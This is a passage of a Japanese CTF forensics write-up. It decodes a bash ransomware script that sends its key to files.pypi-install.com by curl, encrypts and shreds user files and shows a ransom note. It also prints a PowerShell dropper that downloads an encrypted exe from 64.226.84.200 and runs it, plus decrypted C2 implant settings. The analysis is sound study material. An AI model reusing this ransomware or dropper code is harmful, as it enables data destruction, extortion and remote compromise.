  • Key, IVは上に書いてあるもの
  • モードはCBC

復元後にgzipで解凍しているので、この操作も含めてcyberchefを使って抜き出すとMZという文字が出てくるのでPEファイルが取れてきているみたい。レシピはこんな感じ。

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Base64','string':'0xdfc6tTBkD%2BM0zxU7egGVErAsa/NtkVIHXeHDUiW20%3D'%7D,%7B'option':'Base64','string':'2hn/J717js1MwdbbqMn7Lw%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Gunzip()&input=aW5wdXQ

取ってこれたファイルをfileコマンドで見てみると

download.dat:          PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

OK. dnSpyで開いてさらに中身を確認してみると、平文で書かれているフラグを見つけることができる。

[Forensics] Bashic Ransomware

色々ファイルが与えられる。

$ file *
flag.txt.a59ap:                  GPG symmetrically encrypted data (AES256 cipher)
forensics.mem:                   data
linux-image-5.10.0-21.zip:       Zip archive data, at least v2.0 to extract, compression method=deflate
traffic.pcap:                    pcapng capture file - version 1.0

最終的にはGPGで暗号化されているっぽいflag.txtを復号化できればよさそう。
パケットキャプチャを見てみると情報が少ないのでこちらから見ていく。

GET /packages/Kxr43fMD9t.manifest HTTP/1.1
Host: files.pypi-install.com
User-Agent: curl/7.81.0
Accept: */*

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 03 Mar 2023 20:51:27 GMT
Content-Type: application/octet-stream
Content-Length: 9444
Last-Modified: Sat, 18 Feb 2023 18:56:25 GMT
Connection: keep-alive
ETag: "63f11f59-24e4"
Accept-Ranges: bytes

Z0g0PSJFZCI7a00wPSJ4U3oiO2M9ImNoIjtMPSI0IjtyUVc9IiI7ZkUxPSJsUSI7cz0iICdLa21aS2ttWkpvUU1nUVhhNFZXQ0pvUVo1Z1RNVVYzTWlkRlJHQjFiNFZVQ0pvZ2JsaEdkZ3NUWGdJU0tuQjNaZ1lYTGdRbWJoMVdidk5HS2tJQ0k0MUNJYkJpWnBsZ0N1VkdhMEJ5T2QxRklpSXpNME16TTJrak4yY2pjbEIzYnNWbWRsUm1JZzBUUGdJU0twMVdZdmgyZG9RaUlnczFXZ1lX…

base64で何かが送られている。
デコードしてみよう。

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

難読化されているので、文字列をちまちま代入すると以下のような感じになる

x=$(eval "echo'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI' | rev |base64 -d")
eval "$x"

よって、base64っぽい文字列を反転させてbase64デコードすれば次のコードが復元できる。
変数名などがランダム列になっているので、それっぽい名前に変更してある。

#!/bin/bash
setGPGKey() {
    base64encodedGPGKey="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ=="
    echo $base64encodedGPGKey | base64 --decode | gpg --import
    echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}

encrypt() {
    randomStr=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
    echo $randomStr > RxgXlDqP0h3baha
    gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 
    shred -u RxgXlDqP0h3baha
    curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php
    
    for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
    do
        if [[ ${i} != *"*."* ]];then
            echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
            shred -u "$i" 2>/dev/null
        fi
    done
    
    unset randomStr
}

showRansomeNote() {
    cat <<- EOF
        --------------------------------------------------------------------------
        YOUR FILES ARE ENCRYPTED BY AN EXTRATERRESTRIAL RANSOMWARE
        * What happened?
            Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our private key.
        * How to recover my files?
            Recovering your files is 100% guaranteed if you follow our instructions. One file per infection can be decrypted as proof of work. To decrypt the rest, you must return the relic back to its previous rightful owners.
        * Is there a deadline?
            Of course, there is. You have ten days left. Do not miss this deadline.
        --------------------------------------------------------------------------
    EOF
}

main() {
    setGPGKey
    encrypt
    showRansomeNote
}

if [[ "$(whoami)" == "developer7669633432" ]]; then
    if [ -x "$(command -v gpg)" ]; then
        main
        exit 1
    fi
fi

核心的な部分が含まれている。
flag.txtを暗号化している部分は
echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
の部分。
復号には$randomStrが必要で、RxgXlDqP0h3bahaに書き込まれてはいたがshredされている。

鍵生成部分のstrings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'を見るとフォーマットは[a-zA-Z0-9]{16}という感じ。
16桁なのでちょっと全探索は厳しそうではある。
だが、メモリダンプが用意されているということは、メモリダンプからこれを抜き出せるのかも。

適当にstrings forensics.mem | grep -E "[a-zA-Z0-9]{16}" > dic.txtで辞書を作る。
これを使って全探索をスタートしてもいいが、目grepして使えそうなものを試すと早々に鍵が見つかった。
以下でフラグ獲得。
echo "wJ5kENwyu8amx2RM" | gpg --batch --yes --passphrase-fd 0 -d flag.txt.a59ap 2>/dev/null

[Forensics] Interstellar C2

pcapngファイルが与えられる。
とりあえずプロトコル階層統計を見てみる。
色々プロトコルが書いてあるが、wpadskypeのもので特に面白いものではない。
HTTP以外は無視してよさそう。
C2通信に関連するのはHTTPのものだけみたい。

最初にhxxp://64.226.84[.]200/vn84.ps1が記録されている。
難読化されたpowershellファイルであり、難読化解除をちょっとやると以下のような感じ。

.'Set-iTem' ('vAriAble:qLz0so')  ( [tYpe]('SySTEM.io.FilEmode')) ;
&('set-VariABLE') l60Yu3  ( [tYPe]('sYStem.SeCuRiTY.crypTOgRAphY.aeS'));
.('Set-VARiaBle')  BI34  (  [TyPE]('sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE'));
${URl} = ('http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51')
${PTF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.('Import-Module') ('BitsTransfer')
.('Start-BitsTransfer') -Source ${uRl} -Destination ${pTf}
${Fs} = &('New-Object') ('IO.FileStream')(${pTf},  ( &('chilDIteM')  ('VAriablE:QLz0sO')).VALue::"oPeN")
${MS} = .('New-Object') ('System.IO.MemoryStream');
${aes} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::('Create').Invoke()
${aEs}."KEYsIZE" = 128
${KEY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${aES}."KEY" = ${KEY}
${Aes}."iV" = ${iV}
${cS} = .('New-Object') ('System.Security.Cryptography.CryptoStream')(${mS}, ${aEs}.('CreateDecryptor').Invoke(),   (&('GeT-VARIaBLE')  bI34  -VaLue )::"WRItE");
${fs}.('CopyTo').Invoke(${Cs})
${decD} = ${Ms}.('ToArray').Invoke()
${CS}.('Write').Invoke(${dECD}, 0, ${dECd}."LENgTH");
${DeCd} | .('Set-Content') -Path "$env:temp\tmp7102591.exe" -Encoding ('Byte')
& "$env:temp\tmp7102591.exe"

最終的にtmp7102591.exeというのを持ってきて動かしている。
hxxp://64.226.84[.]200/94974f08-5853-41ab-938a-ae1bd86d8e51から持ってきて、AESで復号化している。
cyberchefのレシピ的には

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'00010100000101000001010001010000'%7D,%7B'option':'Hex','string':'00010100000000010001010000010101'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=aW5wdXQ

こんな感じで変換してやればいい。
これでexeが得られる。
祈りながらfileコマンドを動かすと、めでたくMono。

$ file 94974f08-5853-41ab-938a-ae1bd86d8e51-2
94974f08-5853-41ab-938a-ae1bd86d8e51-2: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyで中身を見る。
Programクラスのprimerを見ると最初のリクエストを送っているみたい。

...
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
...
text2 = Program.Decryption(key, enc);

とりあえず鍵はハードコーディングされている。
復号アルゴリズムはAESで細かな部分を抜粋すると

  • IV: 先頭16byte
  • Key: DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=base64デコード
  • Mode: CBC

ここまでくれば復号化できる。
復号すると以下のような内容が得られる。

RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR
URLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU
KILLDATE16652025-01-015661ETADLLIK
SLEEP980013s10089PEELS
JITTER20250.25202RETTIJ
NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN
IMGS19459394"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"49395491SGMI

primerの続きでは

Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
Program.ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);

適当にcsharpコードを書いてパースすると以下のような感じ。

randomURI : dVfhJmc2ciKvPOC
stringURLS : "Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", 